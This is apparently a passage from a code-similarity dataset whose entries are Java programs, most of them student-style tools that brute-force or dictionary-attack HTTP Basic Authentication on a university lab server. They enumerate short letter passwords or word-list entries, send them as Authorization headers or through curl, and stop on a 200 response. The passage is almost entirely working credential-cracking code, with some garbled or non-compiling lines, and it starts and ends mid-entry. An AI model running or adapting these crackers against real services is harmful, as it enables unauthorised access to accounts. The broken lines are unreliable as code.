\ leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\
\ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\
\ consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n \
\ if(tryLogin(leftIndex, midIndex, rightIndex))\n \
\ return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\
\ \t System.out.println(\"Trying consonant-consonant-vowel patterns.\");\n\
\ for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\
\ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\
\ midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <=\
\ vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex,\
\ rightIndex))\n return;\n \n \n \t\
if(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying\
\ remaining vowel-vowel-vowel patterns.\");\n for(leftIndex = vowelLowerBound;\
\ leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\
\ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\
\ vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n \
\ if((leftIndex == midIndex) && (leftIndex == rightIndex))\n \
\ {\n \n }\n \
\ else\n {\n if(tryLogin(leftIndex,\
\ midIndex, rightIndex))\n return;\n \
\ }\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\
\ \t System.out.println(\"Trying remaining consonant-consonant-consonant\
\ patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\
\ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\
\ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\
\ <= consonantUpperBound; rightIndex++)\n if((leftIndex ==\
\ midIndex) && (leftIndex == rightIndex))\n {\n \
\ \n }\n else\n \
\ {\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\
\ return;\n }\n \n \t\
if(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying\
\ monographs (A, a, etc.)\");\n for ( i = 0; i <= consonantUpperBound;\
\ i++)\n {\n leftIndex = i;\n midIndex = -1;\n \
\ rightIndex = -1;\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\
\ return;\n }\n \n \n \n \tif(verbose\
\ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying bigraphs\
\ (AA, aa, etc.)\");\n for( i = 0; i <= consonantUpperBound; i++)\n \
\ {\n \tfor( j = 0; j <= consonantUpperBound; j++)\n \t{\n \
\ \tleftIndex = i;\n \tmidIndex = j;\n \t rightIndex\
\ = -1;\n \t if(tryLogin(leftIndex, midIndex, rightIndex))\n\t \
\ return;\n }\n }\n \n return;\n \
\ } \n\n\t\n private boolean tryLogin( int leftIndex, int midIndex, int rightIndex)\n\
\ {\n \n LoginAttempt login = new LoginAttempt();\n LoginAttemptResults\
\ results = new LoginAttemptResults();\n\n \n CasePasswords casedPasswords\
\ = new CasePasswords(verbose);\n\n \n \n String tail = \"\
\";\n\n results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex,\
\ midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars,\
\ scanType), passwordsTried);\n passwordsTried = results.getPasswordsTried();\n\
\ return results.getSuccess();\n }\n \n} \n"
- "\n\n\n\npublic class HoldSharedData\n{\n private int numOfConnections\
\ = 0;\n private int startTime;\n private int totalTime = 0;\n \
\ private String[] password;\n private int pwdCount;\n\n public HoldSharedData(\
\ int time, String[] pwd, int count )\n {\n startTime = time;\n\n \
\ password = pwd;\n pwdCount = count;\n }\n\n public int getPwdCount()\n\
\ {\n return pwdCount;\n }\n\n public void setNumOfConnections(\
\ )\n {\n numOfConnections ++;\n }\n\n public int getNumOfConnections()\n\
\ {\n return numOfConnections;\n }\n\n public int getStartTime()\n\
\ {\n return startTime;\n }\n\n public void setTotalTime( int\
\ newTotalTime )\n {\n totalTime = newTotalTime;\n }\n\n public\
\ int getTotalTime()\n {\n return totalTime;\n }\n\n public String\
\ getPasswordAt( int index )\n {\n return password[index];\n }\n\
} \n"
- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport\
\ java.util.*;\n\npublic class BruteForce {\n public static void main (String[]\
\ args) throws IOException {\n BufferedReader stdin = new BufferedReader (new\
\ InputStreamReader(System.in));\n\n int start = new Date().getTime();\n\
\ String[] letters = {\"a\",\"A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"\
e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n \"h\",\"H\",\"i\"\
,\"I\",\"j\",\"J\",\"k\",\"K\",\"l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t \"\
o\",\"O\",\"p\",\"P\",\"q\",\"Q\",\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"\
U\",\n\t\t\t \"v\",\"V\",\"w\",\"W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n\
\ int len = 52;\n int total = 52;\n String[] cad = new String[total];\n\
\ int t=0;\n \n for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\
\t t++;\n } \n for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n\
\t cad[t] = letters[j]+letters[i];\n\t t++;\n }}\n for (int i=0;i<=len-1;i++){\n\
\ for (int j=0;j<=len-1;j++){\n for (int k=0;k<=len-1;k++){\n\t \
\ cad[t] = letters[k]+letters[j]+letters[i];\n\t t++;\n }}}\n \
\ \n int response = 0;\n for (t=0;t<=total-1;t++){\n String\
\ uname = \"\";\n String userinfo = uname + \":\" + cad[t];\n try{\n\
\ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n\
\ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \
\ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \
\ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\
\ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\
\ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\
\ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\
\ }\n }\n System.out.println(\"Response \"+t+\" was \"+response);\n\
\ System.out.println(\"The successful password was \"+cad[t]);\n \
\ finish = new Date().getTime();\n float totaltime = (float)(finish-start)/1000;\n\
\ System.out.println(\"Total time: \"+totaltime+\" seconds\");\n }\n}\n\
\n"
sentences:
- "\n\nclass WebPage\n{\n \n \n private boolean success = false;\n \n\
\ private String pageContents= \"\";\n \n\n\t\n public WebPage()\n \
\ {\n }\n \n\t\n public void setSuccess (boolean inSuccess)\n {\n\
\ success = inSuccess;\n }\n \n\t\n public boolean getSuccess()\n\
\ {\n return success;\n }\n \n\t\n public void setPageContents\
\ (String inPage)\n {\n pageContents = inPage;\n }\n \n\t\n \
\ public String getPageContents()\n {\n return pageContents;\n }\n\
} \n"
- "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\
\ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',\
\ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\
\ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\
\ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\
\ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\
\ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\
\ }\n public Vector getVictor()\n {\n return ;\n }\n public void\
\ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\
\ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \
\ {\n String s1 = new StringBuffer().append( letters[i]).append(\
\ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\
\ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\
\ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\
\ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\
\ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\
\ \n for( i = 0; i < letters.length; i++)\n {\n String\
\ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\
\t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \
\ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\
\ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\
\t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\
\ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\
\ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\
\ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\
\ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\
\t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\
\ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\
\ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \
\ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\
\ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\
\ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\
\ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\
\ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\
\ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\
\t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\
\t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\
\t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\
\t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \
\ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\
\ }\n }\n \n public static void main( String[] args)\n {\n\
\ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\
\ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\
\ elements loaded\");\n }\n}\n \n"
- "\n\nimport java.net.*;\nimport java.io.*;\nimport java.String;\nimport java.*;\n\
import java.util.*;\n\npublic class BruteForce {\n private static final int passwdLength\
\ = 3; \n private static String commandLine\n = \"curl http://sec-crack.cs.rmit.edu./SEC/2/index.php\
\ -I -u :\";\n private String chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
;\n private int charLen = chars.length(); \n private int n = 0; \
\ \n private int n3 = charLen*charLen*charLen; \
\ \n private String response;\n private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];\n\
\ private char[][] data = new char[passwdLength][charLen];\n private char[]\
\ pwdChar2 = new char[2];\n private char[] pwdChar = new char[passwdLength];\n\
\ private String url;\n private int startTime;\n private int endTime;\n private\
\ int totalTime;\n private float averageTime;\n private boolean finish;\n private\
\ Process curl;\n private BufferedReader bf, responseLine;\n\n public BruteForce()\
\ {\n\n first();\n finish = true;\n charLen = chars.length();\n for(int i=0;\
\ i<charLen; i++)\n for(int j=0; j<passwdLength; j++)\n {\n data[j][i]\
\ = chars.charAt(i);\n }\n Runtime run = Runtime.getRuntime();\n n = 0;\n\n\
\ \n for(int i=0; i<charLen; i++)\n {\n password[n++] = chars.substring(i,i+1);\n\
\ }\n\n \n for(int j=0; j<charLen; j++)\n for(int k=0; k<charLen; k++)\n\
\ {\n pwdChar2[0] = data[0][j];\n pwdChar2[1] = data[1][k];\n\
\ password[n++] = String.copyValueOf(pwdChar2);\n }\n\n \n for(int\
\ i=0; i<charLen; i++)\n for(int j=0; j<charLen; j++)\n for(int k=0; k<charLen;\
\ k++)\n {\n pwdChar[0] = data[0][i];\n pwdChar[1] = data[1][j];\n\
\ pwdChar[2] = data[2][k];\n password[n++] = String.copyValueOf(pwdChar);\n\
\ }\n n = 0;\n startTime = new Date().getTime(); \n try {\n while(true)\
\ {\n url = commandLine+password[n++];\n if(n>=n3) {\n System.out.println(\"\
\\n not find the password for user .\");\n finish = false;\n break;\n\
\ }\n curl = run.exec(url); \n responseLine = new BufferedReader(new\
\ InputStreamReader(curl.getInputStream()));\n response = responseLine.readLine();\n\
\ \n \n if(response.substring(9,12).equals(\"200\")) break;\n responseLine\
\ = null;\n }\n }\n catch(IOException ioe){\n System.out.println(\"\\n\
\ IO Exception! \\n\");\n System.out.println(\"The current url is:\"+ url);\n\
\ System.out.println(\"The current trying password is:\"+password[n-1]);\n\
\ finish=false;\n }\n\n endTime = new Date().getTime(); \n totalTime\
\ = (endTime-startTime)/1000;\n System.out.println(\" The response time is:\"\
+ totalTime + \" seconds\\n\");\n if(finish) {\n System.out.println(\" \
\ The password for is:\"+ password[n-1]);\n try {\n savePassword(password[n-1],\
\ totalTime);\n }\n catch (IOException ioec) {\n System.out.println(\"\
\ not save the password file BruteForce_pwd.txt \");\n }\n }\n }\n\n public\
\ void first() {\n\n System.out.println(\"\\n\\n---------------------------------------------------------------\"\
);\n System.out.println(\" Use curl command Brute Force the password for\
\ user .\");\n System.out.println(\" Attention: curl should able run at\
\ your directory\");\n System.out.println(\" without setting the Path\
\ for it.\");\n System.out.println(\"---------------------------------------------------------------\"\
);\n }\n\n\n public void savePassword(String passwdString, int time) throws\
\ IOException {\n DataOutputStream outputStream = new DataOutputStream(new FileOutputStream(\"\
BruteForce_pwd.txt\"));\n outputStream.writeChars(\"The password is:\");\n outputStream.writeChars(passwdString+\"\
\\n\");\n outputStream.writeChars(\"The response time is: \");\n outputStream.writeChars(time1.toString(time));\n\
\ outputStream.writeChars(\" seconds\\n\");\n outputStream.close();\n }\n\n\
\ public static void main(String[] args) {\n new BruteForce();\n } \n}\n"
- source_sentence: "import java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic\
\ class BruteForce\n{\n public static void main(String[] args) throws Exception\n\
\ {\n \n String password = checkPassword(); \n\n System.out.println(\"\
Congratulations Your password is \"+ password );\n \n \n\n URL\
\ url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection\
\ sec = (HttpURLConnection)url.openConnection();\n sec.setRequestProperty(\"\
Authorization\", \" \" + encode(\":\"+password));\n BufferedReader in = new\
\ BufferedReader(new InputStreamReader(sec.getInputStream()));\n String inputLine;\n\
\n while ((inputLine = in.readLine()) != null)\n System.out.println(inputLine);\n\
\ in.close();\n }\n\n \n\n private static String checkPassword() throws\
\ Exception\n {\n String Password=\" \";\n int attempt=0;\n URL\
\ url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection\
\ sec;\n String[] cad = {\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\"\
,\"i\",\"j\",\"k\",\"l\",\"m\",\n \"n\",\"o\",\"p\",\"q\"\
,\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\n \
\ \"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\
M\",\n \"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"\
V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n for (int i=0; i < cad.length; i++)\n \
\ {\n for (int j=0; j< cad.length;j++)\n {\n for\
\ (int k=0; k<cad.length;k++)\n {\n attempt++;\n \
\ String Passwd = new String(cad[i]+cad[j]+cad[k]);\n \
\ String userPasswd= \":\"+Passwd;\n System.out.println(attempt+\"\
\ \"+userPasswd);\n \n sec = (HttpURLConnection)url.openConnection();\n\
\ sec.setRequestProperty(\"Authorization\", \" \" + encode(userPasswd));\n\
\n if (sec.getHeaderField(0).equals(\"HTTP/1.1 200 OK\"))\n \
\ {\n Password=Passwd;\n return Password;\n\
\ }\n sec.disconnect();\n } \n \
\ } \n } \n return \"Password not found\";\n }\n\n private static\
\ String encode(String userPasswd) throws Exception\n {\n String ad;\n\
\ String encodedUserPasswd=\" \";\n String addr= \"~//base64_encode.php\
\ \"+userPasswd ;\n Process p = Runtime.getRuntime().exec(new String[]{\"\
/usr/local//bash\",\"-c\", addr});\n BufferedReader resp = new BufferedReader(new\
\ InputStreamReader(p.getInputStream()));\n \n while ( (cad = resp.readLine())\
\ != null )\n {\n \n encodedUserPasswd=cad;\n }\n \
\ return encodedUserPasswd;\n }\n}\n\n"
sentences:
- "import java.io.*;\n\npublic class ReadDictionary {\n\tprivate BufferedReader\
\ bf;\n\tprivate String line=\"\";\n\n public static void main (String argv[])\
\ throws Exception { \n ReadDictionary rd=new ReadDictionary();\n\t rd.openFile();\n\
\t for (int inx=0; inx<800 ;inx++ )\n\t {\n\t \tSystem.out.println(inx + \"\
\ \" + rd.readLine() );\n\t }\n } \n\t \n \n\n\tpublic void openFile()\n\
\t{\n\t\ttry\n\t\t{\n\t\t\tsetBr(new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"\
)));\n\n\t\t}catch(IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\
\t\t}\n\t}\n\n\tpublic String readLine()\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\t\
{\n\t\t\t\tline = bf.readLine();\n\t\t\t}while (line != null && line.length()\
\ >3);\t\t\t\n\t\t}catch (IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\
\t\t}\n\t\treturn(line);\n\t\t\n\t}\t\n\n\t\n\tpublic BufferedReader getBr()\n\
\t{\n\t\treturn this.line;\n\t}\n\n\tpublic void setBr(BufferedReader bf)\n\t\
{\n\t\tthis.bf = bf;\n\t}\n}\n"
- "\n\nimport java.net.*;\nimport java.io.*;\nimport java.io.BufferedReader;\nimport\
\ java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.IOException;\n\
import java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport\
\ java.util.*;\nimport java.*;\n\n\npublic class Dictionary {\n public static\
\ void main(String[] args) throws Exception {\n String pass;\n int\
\ attempt = 0;\n String fileName = \"words.txt\", line;\n BufferedReader\
\ reader;\n Dictionary dict = new Dictionary();\n boolean flag=false;\n\
\n System.out.println(System.currentTimeMillis()/1000);\n\n try{\n\
\ reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));\n\
\ while (!flag)\n {\n try{\n line = reader.readLine();\n\
\ attempt++;\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\
);\n URLConnection yc = url.openConnection();\n pass\
\ = \":\" + line;\n String password = new url.misc.BASE64Encoder().encode(pass.getBytes());\n\
\ yc.setRequestProperty(\"Authorization\",\" \"+password);\n \
\ BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));\n\
\ String inputLine;\n while ((inputLine = in.readLine())\
\ != null)\n System.out.println(inputLine);\n \
\ in.close();\n System.out.println(pass);\n flag=true;\n\
\ System.out.println(System.currentTimeMillis()/1000); \n \
\ System.out.println(\" of attempt: \"+attempt);\n System.exit(0);\n\
\ }catch(IOException e){\n \n }\n \
\ } \n }catch(FileNotFoundException e){\n System.out.println(\"\
File not found\");\n\n }\n }\n}"
- "import java.io.*;\nimport java.util.Date;\n\n\n\n\n\nimport java.jscape.inet.http.*;\
\ \n\n\n\n\n\n\n\nclass BruteForce\n{\n public static void main (String args[])\
\ throws Exception\n {\n String username = \"\";\n byte asciiLower[]\
\ = {97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122};\n\
\ byte asciiUpper[] = {65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};\
\ \n \n int errorMessage = 401;\n int firstPosition = 0;\n int\
\ secondPosition = 0;\n int thirdPosition = 0; \n int number = 1;\n\
\ int attempts = 0;\n \n Http http = new Http();\n HttpRequest\
\ request = new HttpRequest (\"http://sec-crack.cs.rmit.edu./SEC/2/\" );\n \
\ Date startDate = new Date(); \n \n \n \n for(firstPosition\
\ = 0; firstPosition < 26; firstPosition++)\n {\n String one = new\
\ String (asciiLower, firstPosition, number);\n String password = one;\n\
\ request.setBasicAuthentication(username,password);\n HttpResponse\
\ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\
\ System.out.println(errorMessage);\n System.out.println(password);\n\
\ attempts++;\n if (errorMessage == 200)\n break;\n\
\ }\n\n \n\n if (errorMessage == 401)\n {\n for(firstPosition\
\ = 0; firstPosition < 26; firstPosition++)\n {\n String one\
\ = new String (asciiUpper, firstPosition, number);\n String password\
\ = one;\n request.setBasicAuthentication(username,password);\n \
\ HttpResponse response = http.getResponse(request);\n errorMessage\
\ = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n \
\ if (errorMessage == 200)\n break;\n }\n }\n\n\
\ \n\n if (errorMessage == 401)\n {\n for (firstPosition\
\ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\
\ = 0; secondPosition < 26; secondPosition++)\n {\n String\
\ one = new String(asciiLower, firstPosition,number);\n String two\
\ = new String (asciiLower, secondPosition, number);\n String password\
\ = one + two;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n \
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n }\n\
\ } \n\n \n\n if (errorMessage == 401)\n { \n for\
\ (firstPosition = 0; firstPosition < 26; firstPosition ++)\n { \n \
\ for(secondPosition = 0; secondPosition < 26; secondPosition++)\n \
\ {\n String one = new String(asciiUpper, firstPosition,number);\n\
\ String two = new String (asciiUpper, secondPosition, number);\n\
\ String password = one + two;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n \
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n }\n\
\ }\n\n \n\n if(errorMessage == 401)\n {\n for (firstPosition\
\ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\
\ = 0; secondPosition < 26; secondPosition++)\n {\n String\
\ one = new String(asciiUpper, firstPosition,number);\n String two\
\ = new String (asciiLower, secondPosition, number);\n String password\
\ = one + two;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n \
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n }\n\
\ }\n\n \n\n if (errorMessage == 401)\n {\n for (firstPosition\
\ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\
\ = 0; secondPosition < 26; secondPosition++)\n {\n for(thirdPosition\
\ = 0; thirdPosition <26; thirdPosition++)\n { \n \
\ String one = new String(asciiLower, firstPosition,number);\n \
\ String two = new String (asciiLower, secondPosition, number);\n \
\ String three = new String (asciiLower, thirdPosition, number); \n\
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n\
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n\
\ }\n if (errorMessage == 200)\n break;\n\
\ } \n }\n\n \n\n if (errorMessage == 401)\n \
\ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\
\ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\
\ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\
\ { \n String one = new String(asciiUpper, firstPosition,number);\n\
\ String two = new String (asciiUpper, secondPosition, number);\n\
\ String three = new String (asciiUpper, thirdPosition, number);\
\ \n String password = one + two + three;\n \
\ request.setBasicAuthentication(username,password);\n HttpResponse\
\ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\
\ System.out.println(errorMessage);\n System.out.println(password);\n\
\ attempts++;\n if (errorMessage == 200)\n \
\ break;\n }\n if (errorMessage\
\ == 200)\n break;\n }\n if (errorMessage\
\ == 200)\n break;\n } \n }\n\n\n \n\n \
\ if (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\
\ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\
\ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\
\ thirdPosition <26; thirdPosition++)\n { \n String\
\ one = new String(asciiUpper, firstPosition,number);\n String\
\ two = new String (asciiLower, secondPosition, number);\n String\
\ three = new String (asciiLower, thirdPosition, number); \n \
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n\
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n\
\ }\n if (errorMessage == 200)\n break;\n\
\ } \n }\n\n \n\n if (errorMessage == 401)\n \
\ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\
\ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\
\ {\n String one = new String(asciiLower, firstPosition,number);\n\
\ String two = new String (asciiUpper, secondPosition, number);\n\
\ String password = one + two;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n \
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n }\n\
\ }\n\n \n\n if (errorMessage == 401)\n {\n for (firstPosition\
\ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\
\ = 0; secondPosition < 26; secondPosition++)\n {\n for(thirdPosition\
\ = 0; thirdPosition <26; thirdPosition++)\n { \n \
\ String one = new String(asciiLower, firstPosition,number);\n \
\ String two = new String (asciiLower, secondPosition, number);\n \
\ String three = new String (asciiUpper, thirdPosition, number); \n\
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n\
\ if (errorMessage == 200)\n break;\n \
\ } \n if (errorMessage == 200)\n \
\ break; \n }\n if (errorMessage == 200)\n \
\ break;\n }\n }\n\n \n\n if (errorMessage ==\
\ 401)\n {\n for (firstPosition = 0; firstPosition < 26; firstPosition\
\ ++)\n { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\
\ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\
\ { \n String one = new String(asciiLower, firstPosition,number);\n\
\ String two = new String (asciiUpper, secondPosition, number);\n\
\ String three = new String (asciiUpper, thirdPosition, number);\
\ \n String password = one + two + three;\n \
\ request.setBasicAuthentication(username,password);\n HttpResponse\
\ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\
\ System.out.println(errorMessage);\n System.out.println(password);\n\
\ attempts++;\n if (errorMessage == 200)\n \
\ break;\n } \n if (errorMessage\
\ == 200)\n break; \n }\n if (errorMessage\
\ == 200)\n break;\n }\n }\n\n \n\n \
\ if (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\
\ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\
\ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\
\ thirdPosition <26; thirdPosition++)\n { \n String\
\ one = new String(asciiLower, firstPosition,number);\n String\
\ two = new String (asciiUpper, secondPosition, number);\n String\
\ three = new String (asciiLower, thirdPosition, number); \n \
\ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\
\ HttpResponse response = http.getResponse(request);\n \
\ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\
\ System.out.println(password);\n attempts++;\n\
\ if (errorMessage == 200)\n break;\n \
\ }\n if (errorMessage == 200)\n break;\n\
\ }\n if (errorMessage == 200)\n break;\n\
\ }\n }\n\n \n \n if (errorMessage == 401)\n \
\ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\
\ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\
\ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\
\ { \n String one = new String(asciiUpper, firstPosition,number);\n\
\ String two = new String (asciiUpper, secondPosition, number);\n\
\ String three = new String (asciiLower, thirdPosition, number);\
\ \n String password = one + two + three;\n \
\ request.setBasicAuthentication(username,password);\n HttpResponse\
\ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\
\ System.out.println(errorMessage);\n System.out.println(password);\n\
\ attempts++;\n if (errorMessage == 200)\n \
\ break;\n }\n if (errorMessage\
\ == 200)\n break;\n }\n if (errorMessage\
\ == 200)\n break;\n }\n }\n\n \n\n if\
\ (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\
\ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\
\ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\
\ thirdPosition <26; thirdPosition++)\n { \n String\
\ one = new String(asciiUpper, firstPosition,number);\n String\
